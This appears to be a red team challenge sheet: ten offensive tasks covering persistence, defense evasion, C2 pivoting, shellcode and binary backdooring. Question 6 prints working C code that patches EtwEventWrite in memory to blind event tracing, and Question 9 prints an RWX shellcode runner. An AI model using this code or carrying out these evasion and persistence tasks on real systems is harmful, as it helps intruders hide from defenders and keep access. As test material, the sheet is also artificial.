PICUS RED TEAM CHALLENGE QUESTIONS

- *This challenge includes 10 questions with different difficulty levels.*
- *You will get points for each question and partial points for your progress.*
- *You are expected to send your answers within a week.*
- *You can send emails to the address below for your inquiries.*
- *The unauthorized copying, sharing or distribution of these materials is strictly prohibited.*

Good luck and best wishes.
Red Team

Question - 1

You are in a domain environment where you have discovered the user passwords are not long enough to resist modern cracking techniques. Please misconfigure an existing admin account in order to use Kerberoasting as a persistence mechanism if the user changes its password. (You have enough privileges/rights to execute the misconfiguration steps).

The answer should include:

- Detailed explanation of steps to create persistence mechanism.

Question - 2

You, as a red teamer, compromised an account that has privileged access to the Windows Management Instrumentation interface of the other systems in the network. You decided to create a custom WMI Provider on compromised systems in order to have shellcode execution ability without triggering commonly used WMI Classes.

The answer should include:

- A full PoC of how your custom WMI Provider works (screenshots, source codes, video recording).

Question - 3

Ghostly Hollowing is one of the newest techniques for PE Injection. It can be considered as a hybrid between Process Hollowing and Process Ghosting. Please validate this technique by compiling and executing the source code in the following repository.
https://github.com/hasherezade/transacted_hollowing

The answer should include:

- A full PoC of how injection works (screenshots, source codes, video recording).
- Your solution should explain the characteristics of this attack by demonstrating related code snippets and API calls in the source code.

Question - 4

We received a report from one of our employees that said ‘I have a network issue on my computer and my IP address is 172.16.203.50’. We got a log file of the network traffic from the backbone switch as we suspected it might be a network attack. The file contains a record of events that occurred in the network. Please, analyze the PCAP file in the URL and help us understand if there is any attack(s) in the network.
https://github.com/red-attack-challenge/red-attack-challenge/blob/main/challenge.pcap

The answer should include:

- What kind of attack(s) was/were performed?
- Find the attacker's IP address and explain how you found it.
- What kind of tools could be used to perform the attack?

Question - 5

You, as a red teamer, discovered there is a defensive mechanism that locally checks the signature of PE files and sends alarms to the blue team if a new unsigned PE file is detected. Before you transfer your unsigned DLL payloads to the filesystem of the compromised machine, you are expected to come up with a solution that won't be caught by the mechanism above.

- You have the Local Administrator privileges in the compromised machine. However, you cannot stop the signature check mechanism since stopping it could also alarm Blue Team.
- Your payload must be an unsigned DLL that will be written to the filesystem of the machine. You don't have the code-signing certificates to sign your malicious payload.
- You can simulate this defensive mechanism with sigcheck.exe (Windows SysInternals) on Windows 10 machine. The output of ".\sigcheck.exe payload.dll" command needs to be "Signed".

The answer should include:

- Please explain the steps in detail with screenshots.

Question - 6

Please explain what the purpose of the following code block is. Could you give a detailed explanation of the bad or good malware coding practices seen here?

```
#include <stdio.h>
#include <windows.h>

char func[] = { 'R','g','j','R','i','r','a','g','J','e','v','g','r' };
wchar_t lib[] = { 'n','t','d','l','l','.','d','l','l' };

void FunkyMagic() {
	for (int i = 0; i < 13; i++) {
		if ((func[i] >= 97 && func[i] <= 122) || (func[i] >= 65 && func[i] <= 90)) {
			if (func[i] > 109 || (func[i] > 77 && func[i] < 91)) {
				func[i] -= 13;
			} else {
				func[i] += 13;
			}
		}
	}
}

void DirtyMagic() {
	DWORD oP, ooP;
	LPVOID lpFuncAddress = GetProcAddress(LoadLibrary(lib), func);
	VirtualProtect(lpFuncAddress, 4, 0x40, &oP);
#ifndef _AMD64
	memcpy(lpFuncAddress, "\x48\x31\xc0\xc3", 4);
#else
	memcpy(lpFuncAddress, "\xc2\x14\x00\x00", 4);
#endif
	VirtualProtect(lpFuncAddress, 4, oP, &ooP);
}

int main(int argc, char* argv[]) {
	FunkyMagic();
	DirtyMagic();
	/*
		Malicious code
	*/
	return 0;
}
```

Source Code

Question - 7

You, as a red teamer, discovered that you can interact with "Outlook.Application" COM Object on the lateral target machine. Please provide steps to pivot to the target machine by deploying your favourite C2 implant (Meterpreter, Covenant, Empire...) by using the "Outlook.Application" COM Object.

The answer should include:

- Explain your steps for pivoting.
- Your solution should include a PoC video.
- You can choose any open-source C2 for deployment.
- The lateral target machine is an updated Windows 10, bypassing Windows Defender is necessary.

Question - 8

You, as a red teamer, gained code execution ability in a context of a high privileged integrity process. In addition to that, you have discovered that some of the local accounts are not recently used but privileged to connect remotely. Please develop a tool in order to find potentially abusable local accounts as a persistence method.

- Find already existing local accounts.
- Check the account’s privileges to see if Remote Desktop Connection exists.
- Check if the local account is used frequently.

The answer should include:

- You can use your preferred language in order to develop the tool
- Your solution should include the source code
- Please assume that net.exe executable is monitored for malicious command line parameters, and you don't want to get detected by defensive solutions

Question - 9

A fellow red team member wants you to develop a shellcode for creating a persistence in a target system. When the developed shellcode is run, it will add a new value to the registry such that the desired program is run at every startup. Since the reg.exe process is monitored in the environment where this shellcode will be run, you cannot execute this task through reg.exe. In other words, your shellcode must not spawn the reg.exe process.

The answer should include:

- Your solution should include a PoC video and your shellcode.
- You should explain your methodology for developing this shellcode. (Tool/Source Code etc.)
- You can use notepad.exe as the desired process.
- Your shellcode will be tested with the following source code.

```
#include <Windows.h>
#include <iostream>
#include <vector>

void runShellcode(LPVOID param) {
    auto func = ((void(*)())param);
    func();
}

int main(int argc, char** argv) {
    std::vector<uint8_t> shellcode;
    HANDLE file = CreateFileA(argv[1],GENERIC_READ, 1,NULL,OPEN_EXISTING,0,NULL);
    DWORD readBytes = 0;
    DWORD fileSize = GetFileSize(file, NULL);
    shellcode.resize(fileSize, 0);
    if (!ReadFile(file, shellcode.data(), fileSize, NULL, NULL)) {
        return 0;
    }
    PTBYTE alloc = (PTBYTE) VirtualAlloc(NULL,shellcode.size(),MEM_COMMIT, 0x40);
    memcpy(alloc, shellcode.data(), shellcode.size());
    shellcode.clear();
    HANDLE thread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)runShellcode,alloc,0,0);
    WaitForSingleObject(thread, INFINITE);
    CloseHandle(file);
    CloseHandle(thread);
}
```

Source Code

Question - 10

You, as a red teamer, discovered a service executable (in the URL) that has misconfigured DACL permissions. You decided to put your loader as a backdoor into this weakly protected executable. Thus, you started to analyze executable. However, you have figured out that the executable performs some controls before running on the target environment. Could you patch and backdoor the executable to achieve persistence without disrupting the functionality of the executable on the remote machine?
https://github.com/red-attack-challenge/red-attack-challenge/blob/main/challenge.exe

The answer should include:

- The output of the executable should contain "*[*] Scanning is done.*" string.
- What is the first control performed by the executable?
- Your solution should include a POC video and the backdoored executable.